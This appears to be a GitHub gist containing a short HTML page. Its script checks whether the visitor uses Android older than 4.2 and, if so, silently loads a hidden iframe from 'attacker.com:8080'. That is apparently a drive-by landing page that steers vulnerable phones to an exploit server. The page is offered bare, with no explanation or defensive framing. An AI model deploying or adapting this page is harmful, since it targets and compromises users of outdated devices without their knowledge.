-
-
Save yehgdotnet/671740572e6e3830c3fac420b6ea322a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html><head><script src="Spec.js/lib/Spec.js"></script></head> | |
<body> | |
<script> | |
var spec = new Spec(); | |
if (spec.isDeviceDetected() && spec.getOS() == "Android" && | |
parseFloat(spec.getOSVersion()) < 4.2) { | |
var iframe = document.createElement('iframe'); | |
iframe.style.display="none"; | |
iframe.src = "http://attacker.com:8080"; | |
document.body.appendChild(iframe); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment